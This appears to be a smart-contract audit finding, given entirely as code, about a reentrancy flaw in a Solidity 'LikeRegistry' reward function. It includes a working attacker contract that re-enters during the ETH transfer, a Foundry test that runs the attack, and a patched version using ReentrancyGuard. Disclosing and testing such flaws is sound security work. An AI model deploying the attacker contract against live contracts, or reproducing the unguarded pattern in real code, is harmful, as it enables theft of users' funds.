function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
userBalances[from] = 0;
userBalances[to] = 0;
}
contract ReentrancyAttacker is IERC721Receiver {
LikeRegistry public registry;
SoulboundProfileNFT public nft;
address public owner;
uint256 public attackCount;
constructor(address payable _registry, address _nft) {
registry = LikeRegistry(_registry);
nft = SoulboundProfileNFT(_nft);
owner = msg.sender;
}
function mintProfile() external {
nft.mintProfile("Attacker", 25, "ipfs://attacker");
}
function attack(address target) external payable {
registry.likeUser{value: msg.value}(target);
}
receive() external payable {
if(attackCount < 2 && msg.value > 0) {
attackCount++;
registry.likeUser{value: 1 ether}(msg.sender);
}
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
function testReentrancyAttack() public {
vm.deal(alice, 10 ether);
vm.deal(attacker, 5 ether);
vm.startPrank(attacker);
ReentrancyAttacker attackerContract = new ReentrancyAttacker(
payable(address(registry)),
address(nft)
);
attackerContract.mintProfile();
vm.stopPrank();
vm.startPrank(alice);
registry.likeUser{value: 5 ether}(address(attackerContract));
vm.stopPrank();
vm.startPrank(attacker);
vm.deal(address(attackerContract), 2 ether);
attackerContract.attack{value: 1 ether}(alice);
vm.stopPrank();
vm.startPrank(alice);
address[] memory aliceMatches = registry.getMatches();
assertEq(aliceMatches[0], address(attackerContract), "Match should be created");
assertEq(registry.userBalances(alice), 0, "Alice balance not updated correctly");
assertEq(registry.userBalances(address(attackerContract)), 0, "Attacker balance not updated correctly");
vm.stopPrank();
uint256 totalValue = address(registry).balance;
assertEq(totalValue, 6 ether, "Total value should be Alice's 5 ETH + Attacker's 1 ETH");
}
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LikeRegistry is Ownable, ReentrancyGuard {
function matchRewards(address from, address to) internal nonReentrant {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
}